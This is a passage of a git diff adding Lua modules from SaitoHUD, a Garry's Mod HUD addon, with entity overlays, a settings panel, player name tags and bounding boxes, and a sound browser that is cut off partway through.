+SaitoHUD.RegisterOverlay("bbox", OVERLAY) + +------------------------------------------------------------ +-- Text overlays +------------------------------------------------------------ + +local overlayFilterText = CreateClientConVar("overlay_filter_text", "class", true, false) +local overlayFilterPrint = CreateClientConVar("overlay_filter_print_removed", "0", true, false) + +local peakSpeeds = {} +local peakEntityInfo = {} + +function ClearOverlayCaches(ply, cmd, args) + peakSpeeds = {} + peakEntityInfo = {} +end + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local refPos = SaitoHUD.GetRefPos() + local ot = overlayFilterText:GetString() + + local text = "" + local pos = ent:GetPos() + local screenPos = pos:ToScreen() + + if ot == "class" then + text = ent:GetClass() + elseif ot == "model" then + text = ent:GetModel() + elseif ot == "id" then + text = tostring(ent:EntIndex()) + elseif ot == "material" then + text = ent:GetMaterial() + elseif ot == "speed" then + local speed = ent:GetVelocity():Length() + if speed == 0 then + text = "Z" + else + text = string.format("%0.1f", speed) + end + elseif ot == "peakspeed" then + local index = ent:EntIndex() + local speed = ent:GetVelocity():Length() + if not peakSpeeds[index] then + peakSpeeds[index] = speed + peakEntityInfo[index] = string.format("%s [%s]", + ent:GetClass(), + ent:GetModel()) + else + if speed > peakSpeeds[index] then + peakSpeeds[index] = speed + end + end + if peakSpeeds[index] == 0 then + text = "Z" + else + text = string.format("%0.1f", peakSpeeds[index]) + end + end + + if text == nil then text = "" end + + draw.SimpleText(text, "TabLarge", screenPos.x, screenPos.y, + color_white, 1, ALIGN_TOP) +end + +function OVERLAY.OnPostEvaluate() + -- Clear dead entities from caches + for k, _ in pairs(peakSpeeds) do + local ent = ents.GetByIndex(k) + if not IsValid(ent) then + if overlayFilterPrint:GetBool() then + print(string.format("%s removed, peak speed was %f", + peakEntityInfo[k], + peakSpeeds[k])) + end + + peakSpeeds[k] = nil + end + end +end + +SaitoHUD.RegisterOverlay("overlay", OVERLAY) + +concommand.Add("overlay_filter_clear_cache", ClearOverlayCaches) +cvars.AddChangeCallback("overlay_filter_text", ClearOverlayCaches) + +------------------------------------------------------------ +-- Velocities +------------------------------------------------------------ + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local pos = ent:GetPos() + local vel = ent:GetVelocity() + local len = vel:Length() + local adjVel = vel / 10 + + if len > 0 then + local p1 = pos + local p2 = pos + adjVel + local d = math.Clamp(2 * math.exp(0.0004 * len), 5, 20) + p1, p2 = p1:ToScreen(), p2:ToScreen() + surface.SetDrawColor(255, 255, 0, 255) + surface.DrawLine(p1.x, p1.y, p2.x, p2.y) + local ang = math.atan2(p2.y - p1.y, p2.x - p1.x) - math.rad(135) + local x = d * math.cos(ang) + p2.x + local y = d * math.sin(ang) + p2.y + surface.DrawLine(p2.x, p2.y, x, y) + local ang = math.atan2(p2.y - p1.y, p2.x - p1.x) - math.rad(-135) + local x = d * math.cos(ang) + p2.x + local y = d * math.sin(ang) + p2.y + surface.DrawLine(p2.x, p2.y, x, y) + end +end + +SaitoHUD.RegisterOverlay("vel_vec", OVERLAY) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua new file mode 100644 index 0000000..3b27633 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua @@ -0,0 +1,621 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local pointsList +local quickFilters = {} + +--- Loads the quick filters from file. +local function LoadQuickFilters() + local data = SaitoHUD.ParseCSV(file.Read("saitohud/quick_filters.txt", "DATA")) + + if #data > 0 then + -- Remove the header + if data[1][1] == "Filter" then + table.remove(data, 1) + end + + quickFilters = {""} + + for _, v in pairs(data) do + if v[1] and v[1] ~= "" then + table.insert(quickFilters, v[1]) + end + end + else + quickFilters = { + "", + "pod", + "npc", + "vehicle", + "sent_ball", + "maxdist=1000 and prop", + "wire_expr", + } + end +end + +--- Adds an input to a panel. +-- @param panel +-- @param text +-- @param command +-- @param clearOnEnter +-- @param unfair True if function is disabled in cheat deterrence mode +-- @return Control +local function AddInput(panel, text, command, clearOnEnter, unfair) + panel:AddControl("Label", {Text = text}) + + local entry = panel:AddControl("textbox", {}) + --local entry = panel:AddControl("DTextEntry", {}) + entry:SetTall(20) + entry:SetWide(100) + entry:SetEnterAllowed(true) + entry.OnEnter = function() + LocalPlayer():ConCommand(command .. " " .. entry:GetValue()) + if clearOnEnter then + entry:SetValue("") + end + end + + if unfair then + entry:SetEditable(not SaitoHUD.AntiUnfairTriggered()) + entry:SetDrawBackground(not SaitoHUD.AntiUnfairTriggered()) + end + + return entry +end + +--- Adds a label to a panel. +-- @param panel +-- @param text +-- @return Control +local function AddLabel(panel, text) + panel:AddControl("Label", {Text=text}) +end + +--- Adds a checkbox to a panel. +-- @param panel +-- @param text +-- @param command +-- @param unfair True if function is disabled in cheat deterrence mode +-- @return Control +local function AddToggle(panel, text, command, unfair) + local c = panel:AddControl("CheckBox", { + Label = text, + Command = command + }) + + if unfair then + c:SetDisabled(SaitoHUD.AntiUnfairTriggered()) + end + return c +end + +--- Adds a button to a panel. +-- @param panel +-- @param text +-- @param command +-- @return Control +local function AddButton(panel, label, command) + local button + + if type(command) == "function" then + button = panel:AddControl("button", {label = label}) + --button = panel:AddControl("DButton", {}) + button:SetText(label) + button.DoClick = command + else + button = panel:AddControl("Button", { + Label = label, + Command = command + }) + end + + if unfair then + button:SetDisabled(SaitoHUD.AntiUnfairTriggered()) + end + + return button +end + + + +local panMeta = FindMetaTable("Panel") +function panMeta:AddControlFix(control,data) + local data = table.LowerKeyNames(data) + control = string.lower(control) + + --From garry + if ( control == "listbox" ) then + + if ( data.height ) then + + local ctrl = vgui.Create( "DListView" ) + ctrl:SetMultiSelect( false ) + ctrl:AddColumn( data.label or "unknown" ) + + if ( data.options ) then + + for k, v in pairs( data.options ) do + + v.id = nil -- Some txt file configs still have an `ID'. But these are redundant now. + + local line = ctrl:AddLine( k ) + line.data = v + + -- This is kind of broken because it only checks one convar + -- instead of all of them. But this is legacy. It will do for now. + for k, v in pairs( line.data ) do + if ( GetConVarString( k ) == v ) then + line:SetSelected( true ) + end + end + + end + + end + + ctrl:SetTall( data.height ) + ctrl:SortByColumn( 1, false ) + + function ctrl:OnRowSelected( LineID, Line ) + for k, v in pairs( Line.data ) do + RunConsoleCommand( k, v ) + end + end + + local left = vgui.Create( "DLabel", self ) + left:SetText( data.label or " " ) + left:SetDark( true ) + ctrl:Dock( TOP ) + + self:AddItem( left, ctrl ) + + return ctrl + else + + local ctrl = vgui.Create( "CtrlListBox", self ) + + if ( data.options ) then + for k, v in pairs( data.options ) do + v.id = nil -- Some txt file configs still have an `ID'. But these are redundant now. + ctrl:AddOption( k, v ) + end + end + + local left = vgui.Create( "DLabel", self ) + left:SetText( data.label or " ") + left:SetDark( true ) + ctrl:SetHeight( 25 ) + ctrl:Dock( TOP ) + + self:AddItem( left, ctrl ) + + return ctrl + end + end + + + return self:AddControl(control,data) +end + + +--- Adds the quick filter list for the filtering panel. +-- @param panel +-- @param cmd +-- @param text +-- @param input +-- @return +local function AddQuickFilterList(panel, cmd, text, field) + local ctrl = panel:AddControlFix("listbox", {label = " ", height = 101}) + --local ctrl = panel:AddControl("DListView", {}) + ctrl:AddColumn("Quick " .. text .. " Filter") + --ctrl:SetTall(101) + + ctrl.OnRowSelected = function(panel, line) + local args = SaitoHUD.ParseCommand(panel:GetLine(line):GetValue(1)) + RunConsoleCommand(cmd, unpack(args)) + end + + ctrl.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Set Input to Value", function() + field:SetValue(line:GetValue(1)) + end) + menu:AddOption("Copy", function() + SetClipboardText(line:GetValue(1)) + end) + menu:Open() + end + + for _, filter in pairs(quickFilters) do + ctrl:AddLine(filter) + end +end + +--- Creates the help panel. +-- @param panel +local function HelpPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + local button = panel:AddControl("Button", {label = "Help"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Help") + button.DoClick = function(button) + SaitoHUD.OpenHelp() + end +end + +--- Creates the tools panel. +-- @param panel +local function ToolPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddToggle(panel, "Umsg Debugging Overlay", "umsg_debug", false) + AddToggle(panel, "Peek Into wire_umsg", "umsg_debug_peek_wire", false) + AddToggle(panel, "Peek Into x (Titan)", "umsg_debug_peek_titan", false) + + panel:AddControl("Label", {Text = "WARNING: Peeking into wire_umsg will cause the messages to be dropped."}) + + local button = panel:AddControl("Button", {label = "Sound Browser"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Sound Browser") + button.DoClick = function(button) + SaitoHUD.OpenSoundBrowser() + end + + local button = panel:AddControl("Button", {label = "E2 Extensions"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Expression 2 Extensions") + button.DoClick = function(button) + SaitoHUD.OpenE2Extensions() + end + + local button = panel:AddControl("Button", {label = "Hook manager"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Hook Manager") + button.DoClick = function(button) + SaitoHUD.OpenHookManager() + end +end + +--- Creates the sampling panel. +-- @param panel +local function SamplingPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + if SaitoHUD.AntiUnfairTriggered() then + panel:AddControl("Label", {Text = "WARNING: A non-sandbox game mode has been detected and the following options do not take effect."}) + end + + AddButton(panel, "Sample Entity", "sample", false) + AddButton(panel, "Clear", "sample_clear", false) + + AddToggle(panel, "Draw Sampled Data", "sample_draw", true) + AddToggle(panel, "Draw Nodes", "sample_nodes", false) + AddToggle(panel, "Draw Thick Lines", "sample_thick", false) + AddToggle(panel, "Fade Samples", "sample_fade", false) + AddToggle(panel, "Use Random Colors", "sample_random_color", false) + AddToggle(panel, "Allow Multiple", "sample_multiple", false) + + panel:AddControl("Slider", { + Label = "Resolution (ms):", + Command = "sample_resolution", + Type = "integer", + min = "1", + max = "500" + }) + + panel:AddControl("Slider", { + Label = "Data Point History Size:", + Command = "sample_size", + Type = "integer", + min = "1", + max = "500" + }) + + AddInput(panel, "Sample Player by Name:", "sample", true, true) + :SetToolTip("Partial names accepted") + AddInput(panel, "Remove Player by Name:", "sample_remove", true, true) + :SetToolTip("Partial names accepted") + AddInput(panel, "Sample by Filter:", "sample_filter", true, true) + :SetToolTip("Enter a filter and then press ENTER") + AddInput(panel, "Remove by Filter:", "sample_remove_filter", true, true) + :SetToolTip("Enter a filter and then press ENTER") +end + +--- Creates the overlay panel. +-- @param panel +local function OverlayPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddLabel(panel, "Entity Information:") + AddToggle(panel, "Show Entity Information", "entity_info", 0) + AddToggle(panel, "Show Player Info on Entity Information", "entity_info_player",0) + + if SaitoHUD.AntiUnfairTriggered() then + panel:AddControl("Label", {Text = "WARNING: A non-sandbox game mode has been detected and the following options do not take effect."}) + end + + AddLabel(panel, "Name Tags:") + AddToggle(panel, "Show Name Tags", "name_tags", true) + AddToggle(panel, "Always Show Friends", "friend_tags_always", true) + :SetToolTip("See the help to find out how to define a friends list") + AddToggle(panel, "Simple Text Style", "name_tags_simple", true) + AddToggle(panel, "Show Distance", "name_tags_distances", true) + AddToggle(panel, "Rainbow Friends' Names", "name_tags_rainbow_friends", true) + AddToggle(panel, "Bold Friends' Names", "name_tags_bold_friends", true) + + AddLabel(panel, "Players:") + AddToggle(panel, "Show Player Bounding Boxes", "player_boxes", true) + AddToggle(panel, "Show Player Orientation Markers", "player_markers", true) + AddToggle(panel, "Show Player Line of Sights", "trace_aims", true) +end + +--- Creates the filtering panel. +-- @param panel +local function EntityHighlightingPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddToggle(panel, "Continuous Filter Evaluation", "overlays_continuous_eval", false) + + -- Triads filter + + local ctrl = AddInput(panel, "Triads Filter:", "triads_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "triads_filter", "Triads", ctrl) + + -- Overlay filter + + local ctrl = AddInput(panel, "Overlay Filter:", "overlay_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "overlay_filter", "Overlay", ctrl) + + panel:AddControl("ListBox", { + Label = "Overlay Filter Text", + MenuButton = false, + Height = 52, + Options = { + Class = {overlay_filter_text = "class"}, + Model = {overlay_filter_text = "model"}, + Material = {overlay_filter_text = "material"}, + Speed = {overlay_filter_text = "speed"}, + ["Peak Speed"] = {overlay_filter_text = "peakspeed"}, + } + }) + + AddLabel(panel, "Peak speed evaluation benefits from continuous filter evaluation if accuracy is desired.") + + AddToggle(panel, "Print Cached Data on Entity Removal", "overlay_filter_print_removed", false) + AddButton(panel, "Clear Cache", "overlay_filter_clear_cache", false) + + -- Bounding box filter + + local ctrl = AddInput(panel, "Bounding Box Filter:", "bbox_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "bbox_filter", "Bounding Box", ctrl) + + -- Triads filter + + local ctrl = AddInput(panel, "Velocity Vectors Filter:", "vel_vec_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "vel_vec_filter", "Velocity Vectors", ctrl) +end + +--- Creates the surveying panel. +-- @param panel +local function SurveyPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddLabel(panel, "Orthogonal Tracing:") + AddButton(panel, "Create Orthogonal Line", "ortho_trace", false) + AddButton(panel, "Clear", "ortho_trace_clear", false) + AddToggle(panel, "Show Trace Text", "ortho_trace_text", true) + + -- Reflection analysis + + AddLabel(panel, "Reflection Analysis:") + + panel:AddControl("ListBox", { + Label = "Do Trace with # Bounces", + MenuButton = false, + Height = 102, + Options = { + ["10"] = {reflect_trace = 5}, + ["25"] = {reflect_trace = 25}, + ["50"] = {reflect_trace = 50}, + ["100"] = {reflect_trace = 100}, + ["250"] = {reflect_trace = 250}, + ["500"] = {reflect_trace = 500}, + ["750"] = {reflect_trace = 750}, + ["1000"] = {reflect_trace = 1000} + } + }) + AddButton(panel, "Clear", "reflect_trace_clear", false) + + AddToggle(panel, "Show Nodes", "reflect_trace_nodes", true) + AddToggle(panel, "Allow Multiple", "reflect_trace_multiple", true) + AddToggle(panel, "Color Progression", "reflect_trace_color_progression", true) +end + +--- Creates the measuring panel. +-- @param panel +local function MeasuringPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddButton(panel, "Add Point", "measure_add", false) + AddButton(panel, "Add Point by Coordinate", function() + Derma_StringRequest("Add Point", + "Enter X, Y, and Z, separated by commas:", + "", + function(text) + text = text:Trim() + args = string.Explode(" ", text) + RunConsoleCommand("measure_add", unpack(args)) + end) + end, false) + AddButton(panel, "Add Orthogonal Line", "measure_add_ortho", false) + AddButton(panel, "Close Loop", "measure_close", false) + AddButton(panel, "Delete Last Point", "measure_remove_last", false) + AddButton(panel, "Clear", "measure_clear", false) + + pointsList = panel:AddControlFix("listbox", {label = " ", height = 300}) + --pointsList = panel:AddControl("DListView", {}) + pointsList:SetMultiSelect(false) + pointsList:AddColumn("ID"):SetMaxWidth(30) + pointsList:AddColumn("Position") + --pointsList:SetTall(300) + + for k, pt in pairs(SaitoHUD.MeasurePoints) do + local line = pointsList:AddLine(tostring(k), tostring(pt)) + end + + pointsList.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Add Point Before", function() + RunConsoleCommand("measure_insert", line:GetValue(1)) + end) + menu:AddOption("Add Point Before by Coordinate", function() + Derma_StringRequest("Add Point", + "Enter X, Y, and Z, separated by commas:", + "", + function(text) + text = text:Trim() + args = string.Explode(" ", text) + RunConsoleCommand("measure_insert", line:GetValue(1), unpack(args)) + end) + end) + menu:AddOption("Add Orthogonal Line Before", function() + RunConsoleCommand("measure_insert_ortho", line:GetValue(1)) + end) + menu:AddOption("Replace Point", function() + RunConsoleCommand("measure_replace", line:GetValue(1)) + end) + menu:AddOption("Replace Point by Coordinate", function() + Derma_StringRequest("Add Point", + "Enter X, Y, and Z, separated by commas:", + "", + function(text) + text = text:Trim() + args = string.Explode(" ", text) + RunConsoleCommand("measure_replace", line:GetValue(1), unpack(args)) + end) + end) + menu:AddOption("Delete Point", function() + RunConsoleCommand("measure_remove", line:GetValue(1)) + end) + menu:AddOption("Copy Coordinates", function() + SetClipboardText(line:GetValue(2)) + end) + menu:Open() + end + + AddButton(panel, "Copy Total Distance", function() + SetClipboardText(SaitoHUD.MeasureLength) + end) +end + +--- Creates the sampling panel. +-- @param panel +local function SpectatingPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + if SaitoHUD.AntiUnfairTriggered() then + panel:AddControl("Label", {Text = "WARNING: A non-sandbox game mode has been detected and the following options do not take effect."}) + end + + AddButton(panel, "Toggle Free Spectate", "free_spectate", true) + + AddToggle(panel, "Show Spectating Notice", "free_spectate_notice", true) + AddToggle(panel, "Lock Player", "free_spectate_lock", false) + + panel:AddControl("Slider", { + Label = "Movement Rate:", + Command = "free_spectate_rate", + Type = "integer", + min = "1", + max = "10000" + }) + panel:AddControl("Slider", { + Label = "Slow Factor:", + Command = "free_spectate_slow_factor", + Type = "float", + min = "1", + max = "100" + }) +end + +local panels = { + Help = {"Help", HelpPanel}, + Tools = {"Tools", ToolPanel}, + Sampling = {"Sampling", SamplingPanel, {SwitchConVar = "sample_draw"}}, + Overlay = {"Overlay", OverlayPanel}, + Filtering = {"Filtering", EntityHighlightingPanel}, + Surveying = {"Surveying", SurveyPanel}, + Measuring = {"Measuring", MeasuringPanel}, + Spectating = {"Spectating", SpectatingPanel}, +} + +--- PopulateToolMenu hook. +local function PopulateToolMenu() + _SaitoHUDToolMenuPopulated = true + + for k, v in pairs(panels) do + spawnmenu.AddToolMenuOption("Options", "SaitoHUD", "SaitoHUD" .. k, + v[1], "", "", v[2], v[3]) + end +end + +--- Selectively update the measuring panel. +function SaitoHUD.UpdateMeasuringPanel() + if pointsList then + pointsList:Clear() + + for k, pt in pairs(SaitoHUD.MeasurePoints) do + local line = pointsList:AddLine(tostring(k), tostring(pt)) + end + end +end + +--- Updates the panels. +function SaitoHUD.UpdatePanels() + for k, v in pairs(panels) do + assert(v[2])(GetControlPanel("SaitoHUD" .. k)) + end +end + +hook.Add("PopulateToolMenu", "SaitoHUD.PopulateToolMenu", PopulateToolMenu) + +LoadQuickFilters() + +if _SaitoHUDToolMenuPopulated and SaitoHUD.Reloading then + Msg("Updating panels...\n") + SaitoHUD.UpdatePanels() +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua new file mode 100644 index 0000000..36ec658 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua @@ -0,0 +1,221 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +------------------------------------------------------------ +-- Name tags +------------------------------------------------------------ + +local drawNameTags = CreateClientConVar("name_tags", "0", true, false) +local alwaysDrawFriendTags = CreateClientConVar("friend_tags_always", "0", true, false) +local simpleNameTags = CreateClientConVar("name_tags_simple", "1", true, false) +local rainbowFriends = CreateClientConVar("name_tags_rainbow_friends", "0", true, false) +local boldFriends = CreateClientConVar("name_tags_bold_friends", "1", true, false) +local playerDistances = CreateClientConVar("name_tags_distances", "1", true, false) + +local function NameTagsPaint() + local refPos = SaitoHUD.GetRefPos() + local all = drawNameTags:GetBool() + local alwaysFriends = alwaysDrawFriendTags:GetBool() + local showDistances = playerDistances:GetBool() + local simpleTags = simpleNameTags:GetBool() + local boldFriends = boldFriends:GetBool() + local rainbow = rainbowFriends:GetBool() + + for _, ply in pairs(player.GetAll()) do + local name = ply:GetName() + local screenPos = (ply:GetPos() + Vector(0, 0, 50)):ToScreen() + local distance = math.Round(ply:GetPos():Distance(refPos)) + local color = color_white + local shadowColor = Color(0, 0, 0, 255) + local isFriend = SaitoHUD.IsFriend(ply) + local bold = boldFriends and isFriend + + if all or (alwaysFriends and isFriend) then + -- Friend name colors + if isFriend then + if rainbow then + color = HSVToColor(math.sin(CurTime() * 360 / 500) * 360, 1, 1) + else + color = SaitoHUD.GetFriendColor(ply) + end + end + + -- Distances + local text = name + if showDistances then + text = text .. "[" .. tostring(distance) .. "]" + end + + if simpleTags then + if bold then + draw.SimpleText(text, "DefaultBold", screenPos.x + 1, + screenPos.y + 1, shadowColor, 1, ALIGN_TOP) + draw.SimpleText(text, "DefaultBold", screenPos.x, screenPos.y, + color, 1, ALIGN_TOP) + else + draw.SimpleText(text, "DefaultSmallDropShadow", screenPos.x + 1, + screenPos.y + 1, color, 1, ALIGN_TOP) + end + else + if bold then + draw.SimpleTextOutlined(text, "DefaultBold", screenPos.x, + screenPos.y, color, 1, ALIGN_TOP, 1, + shadowColor) + else + draw.SimpleTextOutlined(text, "DefaultSmall", screenPos.x, + screenPos.y, color, 1, ALIGN_TOP, 1, + shadowColor) + end + end + end + + -- End player loop + end +end + +SaitoHUD.HookOnCvar({"name_tags", "friend_tags_always"}, "SaitoHUD.NameTags", { + HUDPaint = NameTagsPaint, +}, true) + +------------------------------------------------------------ +-- Player bounding boxes +------------------------------------------------------------ + +local playerBoxes = CreateClientConVar("player_boxes", "0", true, false) + +local function PlayerBBoxesPaint() + local refPos = SaitoHUD.GetRefPos() + + for _, ply in pairs(player.GetAll()) do + local pos = ply:GetPos() + + local obbMin = ply:OBBMins() + local obbMax = ply:OBBMaxs() + + local p = { + Vector(obbMin.x, obbMin.y, obbMin.z), + Vector(obbMin.x, obbMax.y, obbMin.z), + Vector(obbMax.x, obbMax.y, obbMin.z), + Vector(obbMax.x, obbMin.y, obbMin.z), + Vector(obbMin.x, obbMin.y, obbMax.z), + Vector(obbMin.x, obbMax.y, obbMax.z), + Vector(obbMax.x, obbMax.y, obbMax.z), + Vector(obbMax.x, obbMin.y, obbMax.z), + } + + local front = Vector(0, 0, 40) + front:Rotate(Angle(0, ply:EyeAngles().y, 0)) + front = ply:LocalToWorld(front):ToScreen() + local front2 = Vector(50, 0, 40) + front2:Rotate(Angle(0, ply:EyeAngles().y, 0)) + front2 = ply:LocalToWorld(front2):ToScreen() + + local visible = true + for i = 1, 8 do + p[i]:Rotate(Angle(0, ply:EyeAngles().y, 0)) + p[i] = ply:LocalToWorld(p[i]) + p[i] = p[i]:ToScreen() + if not p[i].visible then + visible = false + break + end + end + + if visible then + if ply:Alive() then + surface.SetDrawColor(0, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 255) + end + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[4].x, p[4].y) + surface.DrawLine(p[4].x, p[4].y, p[1].x, p[1].y) + -- Top + surface.DrawLine(p[5].x, p[5].y, p[6].x, p[6].y) + surface.DrawLine(p[6].x, p[6].y, p[7].x, p[7].y) + surface.DrawLine(p[7].x, p[7].y, p[8].x, p[8].y) + surface.DrawLine(p[8].x, p[8].y, p[5].x, p[5].y) + -- Sides + surface.DrawLine(p[1].x, p[1].y, p[5].x, p[5].y) + surface.DrawLine(p[2].x, p[2].y, p[6].x, p[6].y) + surface.DrawLine(p[3].x, p[3].y, p[7].x, p[7].y) + surface.DrawLine(p[4].x, p[4].y, p[8].x, p[8].y) + -- Bottom + --surface.DrawLine(p[1].x, p[1].y, p[3].x, p[3].y) + + surface.DrawLine(front.x, front.y, front2.x, front2.y) + end + end +end + +SaitoHUD.HookOnCvar("player_boxes", "SaitoHUD.PlayerBBoxes", { + HUDPaint = PlayerBBoxesPaint, +}, true) + +------------------------------------------------------------ +-- Player markers +------------------------------------------------------------ + +local playerMarkers = CreateClientConVar("player_markers", "0", true, false) + +local function PlayerMarkersPaint() + for _, ply in pairs(player.GetAll()) do + local pos = ply:GetPos() + + local obbMin = ply:OBBMins() + local obbMax = ply:OBBMaxs() + + local p = { + Vector(0, 10, 0), + Vector(0, -10, 0), + Vector(10, 0, 0), + } + + local visible = true + for i = 1, 3 do + p[i]:Rotate(Angle(0, ply:EyeAngles().y, 0)) + p[i] = ply:LocalToWorld(p[i]) + p[i] = p[i]:ToScreen() + if not p[i].visible then + visible = false + break + end + end + + if visible then + if ply:Alive() then + surface.SetDrawColor(0, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 255) + end + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[1].x, p[1].y) + end + end +end + +SaitoHUD.HookOnCvar("player_markers", "SaitoHUD.PlayerMarkers", { + HUDPaint = PlayerMarkersPaint, +}, true) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua new file mode 100644 index 0000000..147648c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua @@ -0,0 +1,241 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local soundFolders = {} +local soundList = {} +local soundBrowserWindow +local loaded = false + +--- Loads the sounds from file. +local function LoadSounds(f) + local data = SaitoHUD.ParseCSV(file.Read("saitohud/resource_browser/sounds/" .. f, "DATA")) + soundList = data + + soundFolders = {} + + if #data > 0 then + -- Remove the header + if data[1][1] == "Path" then + table.remove(data, 1) + end + + for _, v in pairs(data) do + local parts = string.Explode("/", tostring(v[1])) + table.remove(parts, #parts) + + local n = soundFolders + for _, p in pairs(parts) do + if not n[p] then n[p] = {} end + n = n[p] + end + end + end + + if soundBrowserWindow and soundBrowserWindow:IsValid() then + soundBrowserWindow:Remove() + soundBrowserWindow = nil + end +end + +--- Adds nodes for folders to a tree. +-- @param tree +-- @param folders +-- @param clickFunc +-- @param path +local function AddTreeFolders(tree, folders, clickFunc, path) + local keys = {} + if not path then path = "" end + + for folder, _ in pairs(folders) do + table.insert(keys, folder) + end + + table.sort(keys, function(a, b) return a:lower() < b:lower() end) + + for _, folder in pairs(keys) do + local subfolders = folders[folder] + local node = tree:AddNode(folder) + node.DoClick = function(self) + clickFunc(path .. folder .. "/") + end + AddTreeFolders(node, subfolders, clickFunc, path .. folder .. "/") + end +end + +--- Updates the list with the list of sound files. +-- @param panel +-- @param entries +-- @param path +local function UpdateSoundList(panel, entries, path) + panel:Clear() + + local len = string.len(path) + for _, line in pairs(entries) do + local testPath = tostring(line[1]) + if string.sub(testPath, 1, len) == path then + local rest = string.sub(testPath, len + 1) + if not rest:find("/") then + panel:AddLine(rest, "", path, testPath) + end + end + end +end + +--- Opens the sound browser. +function SaitoHUD.OpenSoundBrowser() + if soundBrowserWindow then + soundBrowserWindow:SetVisible(true) + soundBrowserWindow:MakePopup() + soundBrowserWindow:InvalidateLayout(true, true) + return + end + + if not loaded then + LoadSounds("source.txt") + loaded = true + end + + local frame = vgui.Create("DFrame") + soundBrowserWindow = frame + frame:SetTitle("Sound Browser") + frame:SetDeleteOnClose(false) + frame:SetScreenLock(true) + frame:SetSize(math.min(600, ScrW() - 20), ScrH() * 4/5) + frame:SetSizable(true) + frame:Center() + frame:MakePopup() + + -- Make list view + local sounds = vgui.Create("DListView", frame) + sounds:SetMultiSelect(false) + sounds:AddColumn("Filename"):SetMinWidth(200) + sounds:AddColumn("Duration") + sounds:AddColumn("Folder") + + sounds.OnRowSelected = function(lst, index) + local line = lst:GetLine(index) + local path = line:GetValue(4) + RunConsoleCommand("stopsounds") + timer.Simple(0.1, function() + surface.PlaySound(path) + end) + line:SetValue(2, string.format("%.2f", SoundDuration(path))) + end + + sounds.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Play", function() + local line = lst:GetLine(index) + local path = line:GetValue(4) + RunConsoleCommand("stopsounds") + timer.Simple(0.1, function() + surface.PlaySound(path) + end) + end) + menu:AddOption("Copy Filename", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(1)) + end) + menu:AddOption("Copy Path", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(4)) + end) + menu:AddOption("Copy Duration", function() 